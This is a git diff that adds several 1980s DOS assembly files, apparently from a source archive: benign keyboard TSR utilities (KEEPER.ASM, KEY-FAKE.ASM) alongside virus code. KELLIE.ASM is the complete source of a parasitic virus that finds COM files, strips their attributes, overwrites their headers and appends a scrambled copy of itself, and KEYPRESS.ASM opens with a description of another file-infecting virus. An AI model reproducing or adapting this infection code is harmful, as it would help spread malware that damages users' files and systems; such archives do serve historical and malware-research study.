db 07,'Already installed',0dh,0ah,'$' +err_msg2 db 'Wrong DOS version.',0dh,0ah,'$' + +set_up proc near + +;------- make sure this is DOS 2.0 or later + mov ah,30h + int 21h + cmp al,2 + jae su_10 + mov dx,offset err_msg2 + jmp msg_exit +su_10: + +;------- see if KBM has already been installed + mov ax,0 + mov es,ax + cmp es:[INST_FLAG],1234H ;already installed? + jne su_20 ; no, continue + mov dx,offset err_msg1 ; yes, exit with message + jmp msg_exit +su_20: + mov word ptr es:[INST_FLAG],1234h ; flag says KBM is installed + +;------- save the old kbint vector and set up the new one + mov al,9 + mov ah,35h ;DOS GET_VECTOR service + int 21h ; for interrupt 9 (KBINT) + + mov al,9 ;get address of the current kb int handler + mov ah,35h ;DOS GET_VECTOR service + int 21h + mov nki_segment,es ;save old address + mov nki_offset,bx + + mov dx,offset kbd_int ;set INT 9 to local keyboard interceptor + mov al,9 ;set vector for INT 9 to DS:DX + mov ah,25h ;DOS SET_VECTOR service + int 21h + + mov ax,0 + mov es,ax ;initialize variables: + mov byte ptr es:[MODE_FLAG],0 ; process all keystrokes + mov byte ptr es:[KEY_BITS],0 ; no keys are pressed + +;------- display message to indicate install`tion complete + mov dx,offset inst_msg + mov ah,9 + int 21h + +;------- exit to DOS, leaving the interrupt handler resident + mov dx,LAST_BYTE + int 27h + +msg_exit: + mov ah,9 + int 21h + int 20h +set_up endp +kbm endp +com_seg ends + end kbm + + \ No newline at end of file diff --git a/k/KEEPER.ASM b/k/KEEPER.ASM new file mode 100755 index 0000000..1515509 --- /dev/null +++ b/k/KEEPER.ASM @@ -0,0 +1,483 @@ +VECTORS SEGMENT AT 0H ;Set up segment to intercept Interrupts + ORG 9H*4 ;The keyboard Interrupt +KEYBOARD_INT LABEL DWORD + ORG 1CH*4 ;Timer Interrupt +TIMER_VECTOR LABEL DWORD +VECTORS ENDS + +SCREEN SEGMENT AT 0B000H ;A dummy segment to use as the +SCREEN ENDS ;Extra Segment + +ROM_BIOS_DATA SEGMENT AT 40H ;BIOS statuses held here, also keyboard buffer + + ORG 1AH + HEAD DW ? ;Unread chars go from Head to Tail + TAIL DW ? + BUFFER DW 16 DUP (?) ;The buffer itself + BUFFER_END LABEL WORD + +ROM_BIOS_DATA ENDS + +CODE_SEG SEGMENT + ASSUME CS:CODE_SEG + ORG 100H ;ORG = 100H to make this into a .COM file +FIRST: JMP LOAD_KEEPER ;First time through + + COPY_RIGHT DB '(C)1985 S.HOLZNER' ;Ascii autograph + PAD DB 20*102 DUP(0) ;Memory storage for pad + PAD_CURSOR DW 9*102 ;Current position in pad + ATTRIBUTE DB 112 ;Pad Attribute -- reverse video + LINE_ATTRIBUTE DB 240 ;Flashing Rev video + OLD_ATTRIBUTE DB 7 ;Original screen attrib: normal + PAD_OFFSET DW 0 ;Chooses 1st 250 bytes or 2nd + FIRST_POSITION DW ? ;Position of 1st char on screen + TRIGGER_FLAG DW 0 ;Trigger on or off + FULL_FLAG DB 0 ;Buffer Full Flag + LINE DW 9 ;Line number, 0-9 + SCREEN_SEG_OFFSET DW 0 ;0 for mono, 8000H for graphics + IO_CHAR DW ? ;Holds addr of Put or Get_Char + STATUS_PORT DW ? ;Video controller status port + OLD_KEYBOARD_INT DD ? ;Location of old kbd interrupt + FINISHED_FLAG DB 1 ;If not finished,f buffer + COMMAND_INDEX DW 1 ;Stores positior timer) + ROM_TIMER DD 1 ;The Timer interrupt's address + OLD_HEAD DW 0 + +KEEPER PROC NEAR ;The keyboard interrupt will now come here. + ASSUME CS:CODE_SEG + PUSH AX ;Save the used registers for good form + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH DS + PUSH ES + PUSHF ;First, call old keyboard interrupt + CALL OLD_KEYBOARD_INT + ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in + MOV BX,ROM_BIOS_DATA + MOV DS,BX + MOV BX,TAIL ;Point to current tail + CMP BX,HEAD ;If at head, kbd int has deleted char + JE BYE ;So leave + MOV DX,HEAD + SUB DX,2 ;Point to just read in character + CMP DX,OFFSET BUFFER ;Did we undershoot buffer? + JAE NOWRAP ;Nope + MOV DX,OFFSET BUFFER_END ;Yes -- move to buffer top + SUB DX,2 ;Compare two bytes back from head +NOWRAP: CMP DX,TAIL ;If it's the tail, buffer is full + JNE NOTFULL ;We're OK, jump to NotFull + CMP FULL_FLAG,1 ;Check if keyboard buffer full + JE BYE ;Yep, leave + MOV FULL_FLAG,1 ;Oops, full, set flag and take + JMP CHK ; this last character +NOTFULL:MOV FULL_FLAG,0 ;Always reset Full_Flag when buff clears +CHK: CMP TRIGGER_FLAG,0 ;Is the window on (triggered?) + JNE SUBT ;Yep, keep going + MOV DX,OLD_HEAD ;Check position of buffer head + CMP DX,HEAD + JNE CONT + MOV OLD_HEAD,0 +BYE: JMP OUT +CONT: MOV DX,HEAD + MOV OLD_HEAD,DX +SUBT: SUB BX,2 ;Point to just read in character + CMP BX,OFFSET BUFFER ;Did we undershoot buffer? + JAE NO_WRAP ;Nope + MOV BX,OFFSET BUFFER_END ;Yes -- move to buffer top + SUB BX,2 ; +NO_WRAP:MOV DX,[BX] ;Char in DX now + ;------ CHAR IN DX NOW ------- + CMP FINISHED_FLAG,0 + JE IN + CMP DX,310EH ;Default trigger is a ^N here. + JNE NOT_TRIGGER ;No + MOV TAIL,BX + NOT TRIGGER_FLAG ;Switch Modes + CMP TRIGGER_FLAG,0 ;Trigger off? + JNE TRIGGER_ON ;No, only other choice is on +TRIGGER_OFF: + MOV OLD_HEAD,0 ;Reset old head + MOV AH,OLD_ATTRIBUTE ;Get ready to restore screen + MOV ATTRIBUTE,AH ;Pad and blinking line set to orig. + MOV LINE_ATTRIBUTE,AH ; values + MOV PAD_OFFSET,10*102 ;Point to 2nd half of pad + LEA AX,PUT_CHAR ;Make IO call Put_Char as it scans + MOV IO_CHAR,AX ;over all locations in pad on screen + CALL IO ;Restore screen + CMP LINE,9 ;Was the window turned off without + JE IN ; using up-down keys? If so, exit + MOV AX,LINE ;No, there is a line to stuff in + MOV CL,102 ; keyboard buffer + MUL CL ;Find its location in Pad + MOV COMMAND_INDEX,AX ;And send to Put + CALL PUT ;Which will do actual stuffing +IN: JMP OUT ;Done +TRIGGER_ON: ;Window just turned on + MOV LINE,9 ;Set blinking line to bottom + MOV PAD_OFFSET,10*102 ;Point to screen storage part of pad + LEA AX,GET_CHAR ;Make IO use Get_char so current screen + MOV IO_CHAR,AX ;is stored + CALL IO ;Store Screen + CALL DISPLAY ;And put up the pad + JMP OUT ;Done here. +NOT_TRIGGER: + TEST TRIGGER_FLAG,1 ;Is Trigger on? + JZ RUBOUT_TEST + MOV TAIL,BX ;Yes, delete this char from buffer +UP: CMP DX,4800H ;An Up cursor key? + JNE DOWN ;No, try Down + DEC LINE ;Move blinker up one line + CMP LINE,0 ;At top? If so, reset + JGE NOT_TOP + MOV LINE,9 +NOT_TOP:CALL DISPLAY ;Display result + JMP OUT ;And leave +DOWN: CMP DX,5000H ;Perhaps Down cusor key pushed + JNE IN ;If not, ignore key + INC LINE ;If so, move down one + CMP LINE,9 ;If at bottom, wrap to top + JLE NOT_BOT + MOV LINE,0 +NOT_BOT:CALL DISPLAY ;Show results + JMP OUT ;And exit +RUBOUT_TEST: + CMP DX,0E08H ;Is it a Rubout? + JNE CHAR_TEST ;No -- try carriage return-line feed + MOV BX,PAD_CURSOR ;Yes -- get current pad location + CMP BX,9*102 ;Are we at beginning of last line? + JLE NEVER_MIND ;Yes -- can't rubout past beginning + SUB PAD_CURSOR,2 ;No, rubout this char + MOV PAD[BX-2],20H ;Move a space in instead (3920H) + MOV PAD[BX-1],39H +NEVER_MIND: + JMP OUT ;Done here. +CHAR_TEST: + CMP DL,13 ;Is this a carriage return? + JE PLUG ;If yes, plug this line into Pad + CMP DL,32 ;If this char < Ascii 32, delete line + JGE PLUG + MOV PAD_CURSOR,9*102 ;Clear the current line + MOV CX,51 + MOV BX,9*102 +CLEAR: MOV WORD PTR PAD[BX],0 + ADD BX,2 + LOOP CLEAR + JMP OUT ;And exit + +PLUG: MOV BX,PAD_CURSOR ;Get current pad location + CMP BX,10*102-2 ;Are we past the end of the pad? + JGE CRLF_TEST ;Yes -- throw away char + MOV WORD PTR PAD[BX],DX ;No -- move ASCII code into pad + ADD PAD_CURSOR,2 ;Increment pad location +CRLF_TEST: + CMP DX,1C0DH ;Is it a carriage return-line feed? + JNE OUT ;No -- put it in the pad + CALL CRLF ;Yes -- move everything up in pad +OUT: POP ES ;Having done Pushes, here are the Pops + POP DS + POP SI + POP DI + POP DX + POP CX + POP BX + POP AX + IRET ;An interrupt needs an IRET +KEEPER ENDP + +DISPLAY PROC NEAR ;Puts the whole pad on the screen + PUSH AX + MOV ATTRIBUTE,112 ;Use reverse video + MOV LINE_ATTRIBUTE,240 + MOV PAD_OFFSET,0 ;Use 1st 250 bytes of pad memory + LEA AX,PUT_CHAR ;Make IO use Put-Char so it does + MOV IO_CHAR,AX + CALL IO ;Put result on screen + POP AX + RET ;Leave +DISPLAY ENDP + +CRLF PROC NEAR ;This handles carriage returns + PUSH BX ;Push everything conceivable + PUSH CX + PUSH DI + PUSH SI + PUSH DS + PUSH ES + ASSUME DS:CODE_SEG ;Set DS to Code_Seg here + PUSH CS + POP DS + ASSUME ES:CODE_SEG ;And ES too + PUSH DS + POP ES + LEA DI,PAD ;Get ready to move contents of Pad + MOV SI,DI ; up one line + ADD SI,102 ;DI-top line, SI-one below top line + MOV CX,9*51 + MOV BX,PAD_CURSOR ;But first finish line with a 0 + CMP BX,9*102+2 ; as a flag letting Put know line is + JE POPS ; done. + MOV WORD PTR PAD[BX],0 +REP MOVSW ;Move up Pad contents + MOV CX,51 ;Now fill the last line with spaces + MOV AX,3920H +REP STOSW ;Using Stosw +POPS: MOV PAD_CURSOR,9*102 ;And finally reset Cursor to beginning + POP ES ; of the last line again. + POP DS + POP SI + POP DI + POP CX + POP BX +DONE: RET ;And out. +CRLF ENDP + +GET_CHAR PROC NEAR ;Gets a char from screen and advances position + ASSUME ES:SCREEN,DS:ROM_BIOS_DATA + PUSH DX + MOV SI,2 ;Loop twice, once for char, once for attribute + MOV DX,STATUS_PORT ;Get ready to read video controller status +G_WAIT_LOW: ;Start waiting for a new horizontal scan - + IN AL,DX ;Make sure the video controller scan status + TEST AL,1 ;is low + JNZ G_WAIT_LOW +G_WAIT_HIGH: ;After port has gone low, it must go high + IN AL,DX ;before it is safe to read directly from + TEST AL,1 ;the screen buffer in memory + JZ G_WAIT_HIGH + MOV AH,ES:[DI] ;Do the move from the screen, one byte at a time + INC DI ;Move to next screen location + DEC SI ;Decrement loop counter + CMP SI,0 ;Are we done? + JE LEAVE ;Yes + MOV PAD[BX],AH ;No -- put char we got into the pad + JMP G_WAIT_LOW ;Do it again +LEAVE: MOV OLD_ATTRIBUTE,AH + ADD BX,2 + POP DX + RET +GET_CHAR ENDP + +PUT_CHAR PROC NEAR ;Puts one char on screen and advances position + PUSH DX + MOV AH,PAD[BX] ;Get the char to be put onto the screen + CMP AH,32 + JAE GO + MOV AH,32 +GO: MOV SI,2 ;Loop twice, once for char, once for attribute + MOV DX,STATUS_PORT ;Get ready to read video controller status +P_WAIT_LOW: ;Start waiting for a new horizontal scan - + IN AL,DX ;Make sure the video controller scan status + TEST AL,1 ;is low + JNZ P_WAIT_LOW +P_WAIT_HIGH: ;After port has gone low, it must go high + IN AL,DX ;before it is safe to write directly to + TEST AL,1 ;the screen buffer in memory + JZ P_WAIT_HIGH + MOV ES:[DI],AH ;Move to screen, one byte at a time + MOV AH,ATTRIBUTE ;Load attribute byte for second pass + INC DI ;Point to next screen postion + DEC SI ;Decrement loop counter + JNZ P_WAIT_LOW ;If not zero, do it one more time + ADD BX,2 + POP DX + RET ;Exeunt +PUT_CHAR ENDP + +IO PROC NEAR ;This scans over all screen positions of the pad + ASSUME ES:SCREEN ;Use screen as extra segment + MOV BX,SCREEN + MOV ES,BX + + PUSH DS + MOV BX,ROM_BIOS_DATA + MOV DS,BX + MOV BX,4AH + MOV BX,DS:[BX] + SUB BX,51 + ADD BX,BX + MOV FIRST_POSITION,BX + POP DS + + MOV DI,SCREEN_SEG_OFFSET ;DI will be pointer to screen postion + ADD DI,FIRST_POSITION ;Add width of screen minus pad width + MOV BX,PAD_OFFSET ;BX will be pad location pointer + MOV CX,10 ;There will be 10 lines + +LINE_LOOP: + PUSH WORD PTR ATTRIBUTE + PUSH CX ;Figure out whether this is blinking + NEG CX ; line and if so, temporarily change + ADD CX,10 ; display attribute + CMP CX,LINE + JNE NOLINE + MOV CL,LINE_ATTRIBUTE + MOV ATTRIBUTE,CL +NOLINE: POP CX + MOV DX,51 ;And 51 spaces across +CHAR_LOOP: + CALL IO_CHAR ;Call Put-Char or Get-Char + DEC DX ;Decrement character loop counter + JNZ CHAR_LOOP ;If not zero, scan over next character + ADD DI,FIRST_POSITION ;Add width of screen minus pad width + + POP WORD PTR ATTRIBUTE + LOOP LINE_LOOP ;And now go back to do next line + RET ;Finished +IO ENDP + +PUT PROC NEAR ;Here it is. + ASSUME DS:ROM_BIOS_DATA ;Free DS + PUSH DS ;Save all used registers + PUSH SI + PUSH DI + PUSH DX + PUSH CX + PUSH BX + PUSH AX + MOV AX,ROM_BIOS_DATA ;Just to make sure + MOV DS,AX ;Set DS correctly +FIN: MOV FINISHED_FLAG,1 ;Assume we'll finish + MOV BX,TAIL ;Prepare to move to buffer's tail + MOV SI,COMMAND_INDEX ;Get our source index + +STUFF: MOV AX,WORD PTR PAD[SI] + ADD SI,2 ;Point to the command's next character + CMP AX,0 ;Is it a zero? (End of command) + JE NO_NEW_CHARACTERS ;Yes, leave with Finished_Flag=1 + MOV DX,BX ;Find position in buffer from BX + ADD DX,2 ;Move to next position for this word + CMP DX,OFFSET BUFFER_END ;Are we past the end? + JL NO_WRAP2 ;No, don't wrap + MOV DX,OFFSET BUFFER ;Wrap +NO_WRAP2: + CMP DX,HEAD ;Buffer full but not yet done? + JE BUFFER_FULL ;Time to leave, set Finished_Flag=0. + ADD COMMAND_INDEX,2 ;Move to next word in command + MOV [BX],AX ;Put it into the buffer right here. + ADD BX,2 ;Point to next space in buffer + CMP BX,OFFSET BUFFER_END ;Wrap here? + JL NO_WRAP3 ;No, readjust buffer tail + MOV BX,OFFSET BUFFER ;Yes, wrap +NO_WRAP3: + MOV TAIL,BX ;Reset buffer tail + JMP STUFF ;Back to stuff in another character. +BUFFER_FULL: ;If buffer is full, let timer take over + MOV FINISHED_FLAG,0 ; by setting Finished_Flag to 0. +NO_NEW_CHARACTERS: + POP AX ;Restore everything before departure. + POP BX + POP CX + POP DX + POP DI + POP SI + POP DS + STI + RET +PUT ENDP + + ASSUME DS:CODE_SEG +INTERCEPT_TIMER PROC NEAR ;This completes filling the buffer + PUSHF ;Store used flags + PUSH DS ;Save DS since we'll change it + PUSH CS ;Put current value of CS into DS + POP DS + CALL ROM_TIMER ;Make obligatory call + PUSHF + CMP FINISHED_FLAG,1 ;Do we have to do anything? + JE OUT1 ;No, leave + CLI ;Yes, start by clearing interrupts + PUSH DS ;Save these. + PUSH SI + PUSH DX + PUSH BX + PUSH AX + ASSUME DS:ROM_BIOS_DATA ;Point to the keyboard buffer again. + MOV AX,ROM_BIOS_DATA + MOV DS,AX + MOV BX,TAIL ;Prepare to put characters in at tail + MOV FINISHED_FLAG,1 ;Assume we'll finish + MOV SI,COMMAND_INDEX ;Find where we left ourselves + +STUFF2: MOV AX,WORD PTR PAD[SI] ;The same stuff loop as above. + ADD SI,2 ;Point to next command character. + CMP AX,0 ;Is it zero? (end of command) + JNE OVER ;No, continue. + JMP NO_NEW_CHARACTERS2 ;Yes, leave with Finished_Flag=1 +OVER: MOV DX,BX ;Find position in buffer from BX + ADD DX,2 ;Move to next position for this word + CMP DX,OFFSET BUFFER_END ;Are we past the end? + JL NO_WRAP4 ;No, don't wrap + MOV DX,OFFSET BUFFER ;Do the Wrap rap. +NO_WRAP4: + CMP DX,HEAD ;Buffer full but not yet done? + JE BUFFER_FULL2 ;Time to leave, come back later. + ADD COMMAND_INDEX,2 ;Point to next word of command. + MOV [BX],AX ;Put into buffer + ADD BX,2 ;Point to next space in buffer + CMP BX,OFFSET BUFFER_END ;Wrap here? + JL NO_WRAP5 ;No, readjust buffer tail + MOV BX,OFFSET BUFFER ;Yes, wrap +NO_WRAP5: + MOV TAIL,BX ;Reset buffer tail + JMP STUFF2 ;Back to stuff in another character +BUFFER_FULL2: + MOV FINISHED_FLAG,0 ;Set flag to not-done-yet. +NO_NEW_CHARACTERS2: + POP AX ;Restore these. + POP BX + POP DX + POP SI + POP DS +OUT1: POPF ;And Exit. + POP DS + IRET ;With customary IRET +INTERCEPT_TIMER ENDP + +LOAD_KEEPER PROC NEAR ;This procedure intializes everything + ASSUME DS:VECTORS ;The data segment will be the Interrupt area + MOV AX,VECTORS + MOV DS,AX + + MOV AX,KEYBOARD_INT ;Get the old interrupt service routine + MOV OLD_KEYBOARD_INT,AX ;address and put it into our location + MOV AX,KEYBOARD_INT[2] ;OLD_KEYBOARD_INT so we can call it. + MOV OLD_KEYBOARD_INT[2],AX + + MOV KEYBOARD_INT,OFFSET KEEPER ;Now load the address of our notepad + MOV KEYBOARD_INT[2],CS ;routine into the keyboard interrupt + + MOV AX,TIMER_VECTOR ;Now same for timer + MOV ROM_TIMER,AX + MOV AX,TIMER_VECTOR[2] + MOV ROM_TIMER[2],AX + + MOV TIMER_VECTOR,OFFSET INTERCEPT_TIMER + MOV TIMER_VECTOR[2],CS ;And intercept that too. + + ASSUME DS:ROM_BIOS_DATA + MOV AX,ROM_BIOS_DATA + MOV DS,AX + MOV BX,OFFSET BUFFER ;Clear the keyboard buffer. + MOV HEAD,BX + MOV TAIL,BX + MOV AH,15 ;Ask for service 15 of INT 10H + INT 10H ;This tells us how display is set up + MOV STATUS_PORT,03BAH ;Assume this is a monochrome display + TEST AL,4 ;Is it? + JNZ EXIT ;Yes - jump out + MOV SCREEN_SEG_OFFSET,8000H ;No - set up for graphics display + MOV STATUS_PORT,03DAH + +EXIT: MOV DX,OFFSET LOAD_KEEPER ;Set up everything but LOAD_PAD to + INT 27H ;stay and attach itself to DOS +LOAD_KEEPER ENDP + + CODE_SEG ENDS + + END FIRST ;END "FIRST" so 8088 will go to FIRST first. + + + diff --git a/k/KELLIE.ASM b/k/KELLIE.ASM new file mode 100755 index 0000000..8fd1916 --- /dev/null +++ b/k/KELLIE.ASM @@ -0,0 +1,137 @@ +;############################################################################ +;# Virus Name: Kellie # Size: 404 Bytes # +;# Author: Jerk1N # EMail: jerk1n@trust-me.com # +;############################################################################ +;# Notes # +;# - Parasitic infection routine # +;# - Restores original code # +;# - Doesn't infect the same file twice!!! # +;############################################################################ + + .model tiny + .radix 16 + .code + Extrn JVS:near,JVS_end:near,Scrambler:near + +start: + db 01h,00h,0E9h,00h,00h + +gotacod: + call $+3 +getdo: pop di + sub di,offset $-1 + mov bp,di + mov ah,1Ah + lea dx,[bp+offset dta] + int 21h + +p: mov dx,01h ;Don't Scramble AFTER Gen. + mov cx,S ;Set Length /^\ + lea ax,[bp+offset jak] ;Point to START + call JVS ;Generate /\ + +jak: ; /\ + mov word ptr [bp+offset p+1h],00h ; p: mov dx,00h --/ + mov di,100h + lea si,[bp+offset orig] + movsw + movsw + movsb + call findfile +ohcrap: + retn + +fspec db '*.c?m',0 +ID db '[Kellie]',0 +creator db '[Jerk1N/DIFFUSION]',0 +orig db 0CDh,20h,00h,00h,00h +new3 db 01h,00h,0E9h,00h,00h + +findfile: + mov ah,4Eh + mov cx,07h + lea dx,[bp+offset fspec] + int 21h + jc ohcrap + jmp infect + +fndnext: + mov ah,4Fh + int 21h + jc ohcrap + jmp infect + +infect: + mov ax,4301h + mov cx,00h + lea dx,[bp+offset dta+1Eh] + int 21h ;Clear Attributes + call fopen + jc ohcrap + + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + sub ax,05h + mov word ptr [bp+offset new3+3h],ax + + mov cx,4200h + xor ax,ax + xor dx,dx + xchg ax,cx + int 21h + mov ah,3Fh + mov cx,5h ;Headr Len + lea dx,[bp+offset orig] + int 21h ;Get orig code! + cmp byte ptr [bp+offset orig],01h + jne goinf + cmp byte ptr [bp+offset orig+2h],0E9h + je fndnext +goinf: + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h + mov al,40h + xchg ah,al + mov cx,05h ;Headr Len + lea dx,[bp+offset new3] + int 21h ;Write Header! + + mov dx,4202h + xor cx,cx + xor ax,ax + xchg dx,ax + int 21h + call dovir + call closef + ret + +fopen: + mov ax,3D02h + int 21h + xchg bx,ax + ret + +closef: + mov ah,3Eh + int 21h + ret + +dovir: + call Scrambler ;Scramble Before Write + mov al,40h + xchg al,ah + mov cx,V_len + lea dx,[bp+offset gotacod] + int 21h ;Write Virus + call Scrambler ;Descramble + ret + +V_len equ offset JVS_end - offset gotacod +S equ offset dovir - offset jak +heap: ;Destroy all data below this line +dta equ offset JVS_end + end diff --git a/k/KEY-FAKE.ASM b/k/KEY-FAKE.ASM new file mode 100755 index 0000000..ddce031 --- /dev/null +++ b/k/KEY-FAKE.ASM @@ -0,0 +1,247 @@ +; KEY-FAKE.ASM -- Fakes keystrokes from internal keyboard buffer. +; ============ + +CSEG Segment + Assume CS:CSEG + Org 0100h +Entry: Jmp Initialize + +; Most Resident Data +; ------------------ + + db 'KEY-FAKE (C) Copyright Charles Petzold, 1985' +SearchLabelEnd Label Byte + +OldInterrupt16 dd 0 +Pointer dw Offset KeyStrokeBuffer +Counter db 0 + +; New Interrupt 16 (Keyboard) +; --------------------------- + +NewInterrupt16 Proc Far + + Sti ; Allow futher interrupts + Cmp CS:[Counter],0 ; See if characters in buffer + Jz DoOldInterrupt ; If not, just do regular interrupt + + Or AH,AH ; Check if AH is zero + Jz GetCharacter ; If so, call is to get character + + Cmp AH,1 ; Check if AH is one + Jz GetStatus ; If so, call is for status + +DoOldInterrupt: Jmp CS:[OldInterrupt16] ; Otherwise, go away + +GetCharacter: Push BX + Mov BX,CS:[Pointer] ; BX points to current buffer position + Mov AX,CS:[BX] ; Get ASCII code and scan code + Inc BX ; Move buffer pointer ahead + Inc BX + Mov CS:[Pointer],BX ; Save new pointer + Dec CS:[Counter] ; One less character in counter + Pop BX + + Or AX,AX ; See if 0 returned + Jz NewInterrupt16 ; If so, take it from the top again + + IRet ; Return to calling program + +GetStatus: Push BX + Mov BX,CS:[Pointer] ; BX points to current buffer position + Mov AX,CS:[BX] ; Get ASCII code and scan code + Pop BX + + Or AX,AX ; See if special 0 keystroke + Jnz StatusReturn ; If not, return non-zero flag + + Add CS:[Pointer],2 ; If so, skip over it + Dec CS:[Counter] ; One less character + Or AX,AX ; Will set zero flag + +StatusReturn: Ret 2 ; Do not pop flags + +NewInterrupt16 EndP + +; Beginning of Key Stroke Buffer +; ------------------------------ + +KeyStrokeBuffer Label Byte ; 256 Byte Buffer for keystrokes + +; Initialization -- Search through Memory and see if label matches +; ---------------------------------------------------------------- +; +; If so, use the loaded program; if not, create a new interrupt + + Assume DS:CSEG, ES:CSEG, SS:CSEG + +Initialize: Mov Word Ptr [Entry],0 ; Slightly modify search label + Mov Byte Ptr [Entry + 2],0 ; so no false matches + + Cld + Mov DX,CS ; This segment + Sub AX,AX ; Beginning of search + Mov ES,AX ; Search segment + +SearchLoop: Mov SI,100h ; Address to search + Mov DI,SI ; Set pointers to same address + Mov CX,Offset SearchLabelEnd - Offset Entry + Repz Cmpsb ; Check for match + Jz ReadyForDecode ; If label matches + + Inc AX ; Still the search segment + Mov ES,AX ; ES to next segment + + Cmp AX,DX ; Check if it's this segment + Jnz SearchLoop ; Try another compare + + Mov Byte Ptr DS:[1],27h ; Since no match found, + ; set up PSP for Terminate & + ; remain resident. + +; Save and Set Interupt 16 if Staying Resident +; -------------------------------------------- + + Sub AX,AX ; Set AX to zero + Mov DS,AX ; To access vector segment + Assume DS:Nothing ; Tell the assembler + + Mov AX,Word Ptr DS:[16h * 4] ; Get vector offset + Mov Word Ptr CS:[OldInterrupt16],AX ; Save it + Mov AX,Word Ptr DS:[16h * 4 + 2] ; Get vector segment + Mov Word Ptr CS:[OldInterrupt16 + 2],AX ; and save it + + Cli ; Don't interrupt me + Mov DS:[16h * 4],Offset NewInterrupt16 ; Store new + Mov DS:[16h * 4 + 2],CS ; address + Sti ; Now you can talk + + Push CS + Pop DS ; Restore DS + Assume DS:CSEG + +; Parameter decoding when program segment has been found +; ------------------------------------------------------ +; +; ES = segment of loaded program (could be CS) + +ReadyForDecode: Mov SI,80h ; SI points to parameter area + Mov DI,Offset KeyStrokeBuffer + Mov ES:[Pointer],DI ; ES:DI points to buffer area + Mov ES:[Counter],0 ; Set keystroke counter to zero + + Lodsb ; Get parameter count + Cbw ; Convert to word + Mov CX,AX ; CX = parameter count + Inc CX ; So catch last delimiter (0D) + Or AX,AX ; Check if parameter present + Jnz GoDecodeLoop ; If so, continue + Jmp EndDecode ; If not, cut out + +GoDecodeLoop: Jmp DecodeLoop + +; End of Residence is end of Key Stroke Buffer +; -------------------------------------------- + + Org 256 + Offset KeyStrokeBuffer + +EndResidence Label Byte + +; Data for Parameter Decoding +; --------------------------- + +QuoteSign db 0 ; Flag for quoted strings +DoingNumber db 0 ; Flag for doing a number +DoingExtended db 0 ; Flag for doing extended ASCII +CalcNumber db 0 ; A calculated number +Ten db 10 ; For MUL convenience + +; Routine for doing quoted text +; ----------------------------- + +DecodeLoop: Lodsb ; Get character + Cmp [QuoteSign],0 ; Check if doing quoted text + Jz NotDoingQuote ; If not, continue checks + + Cmp AL,[QuoteSign] ; Check first if character is quote + Jz EndQuote ; If so, finish quoted text + + Sub AH,AH ; Set scan code to zero + Stosw ; Save it in buffer + Inc ES:[Counter] ; One more character + Jmp DoNextCharacter ; Go to bottom of routine + +EndQuote: Mov [QuoteSign],0 ; End of quoted text + Jmp DoNextCharacter ; Get the next character + +; Routine for Extended Ascii Character (@) +; ---------------------------------------- + +NotDoingQuote: Cmp AL,'@' ; See if character is for extended + Jnz NotExtended ; If not, hop over a little code + + Mov [DoingExtended],1 ; Flag for extended ASCII + Jmp Delimiter ; To possibly dump number + +; Routine for Quote Sign ' or " +; ----------------------------- + +NotExtended: Cmp AL,'"' ; Check for a double quote sign + Jz Quote + Cmp AL,"'" ; Check for a single quote sign + Jnz NotAQuote + +Quote: Mov [QuoteSign],AL ; Save the quote sign + Jmp Delimiter ; To possibly dump number + +; Routine for decimal number +; -------------------------- + +NotAQuote: Cmp AL,'0' ; See if character >= 0 + Jb Delimiter + Cmp AL,'9' ; See if character <= 9 + Ja Delimiter + + Mov [DoingNumber],1 ; If so, doing number + + Sub AL,'0' ; Convert to binary + Xchg AL,[CalcNumber] ; Get previously calculated + Mul [Ten] ; Multiply by 10 + Add [CalcNumber],AL ; Add it to new digit + + Jmp DoNextCharacter ; And continue + +; Anything else is considered a delimiter +; --------------------------------------- + +Delimiter: Cmp [DoingNumber],1 ; Check if doing a number + Jnz DoNextCharacter ; If not, do not dump + + Mov AL,[CalcNumber] ; Set AX to ASCII number + Sub AH,AH ; Zero out scan code part + Cmp [DoingExtended],1 ; Check if doing scan code + Jnz NumberOK + + Xchg AL,AH ; Switch ASCII and scan code + +NumberOK: Stosw ; Store the two codes + Inc ES:[Counter] ; One more character in buffer + + Mov [DoingNumber],0 ; Clear out all flags + Mov [DoingExtended],0 + Mov [CalcNumber],0 + +DoNextCharacter:Dec CX ; One less character to do + Jz EndDecode ; If no more, we're done + Jmp DecodeLoop ; Otherwise, get next one + +; End Decode -- Ready to terminate (and possibly stay resident) +; ------------------------------------------------------------- + +EndDecode: Mov DX,Offset EndResidence ; End of resident part + Ret ; Int 20h or 27h + +CSEG EndS + + End Entry + \ No newline at end of file diff --git a/k/KEYPRESS.ASM b/k/KEYPRESS.ASM new file mode 100755 index 0000000..dfa9340 --- /dev/null +++ b/k/KEYPRESS.ASM @@ -0,0 +1,739 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +;******************************************************** +; Source code of the Keypress Virus - Made by XSTC +; Made in A86 v3.07 +; +; The Keypress Virus installs itself in top of DOS +; memory, without using DOS resident functions. It will +; hook int 1Ch (timer) and 21h (DOS) and will copy every +; 10 minutes during 2 seconds the keys you press five +; times (so if you press '1' it will be '111111') - if +; you press no key, it will usually give ESCs. +; +; In DOS 3+ it spreads to every file executed - so it +; can, besides COM/EXE, infect DRV/OVL/etc. +; It also spreads itself in DOS 1 and 2 with a special +; routine - in this case only COM/EXE files will be +; infected. +; +; It adds, after making full paragraphs of the file +; length, 1232 bytes to COM-files and 1216 to EXE. +; +; This code is only made to show the possibilities and +; dangers of a virus. It is only intended for research +; purposes - spreading a virus is prohibited by law. +; +; NOTE - The compiled code is not 100% compatible with +; the Keypress virus. A86 compiles the 'ADD BX,AX' and +; 'MOV DI,SI' different. This has totally no effect +; on the program. +;******************************************************** + 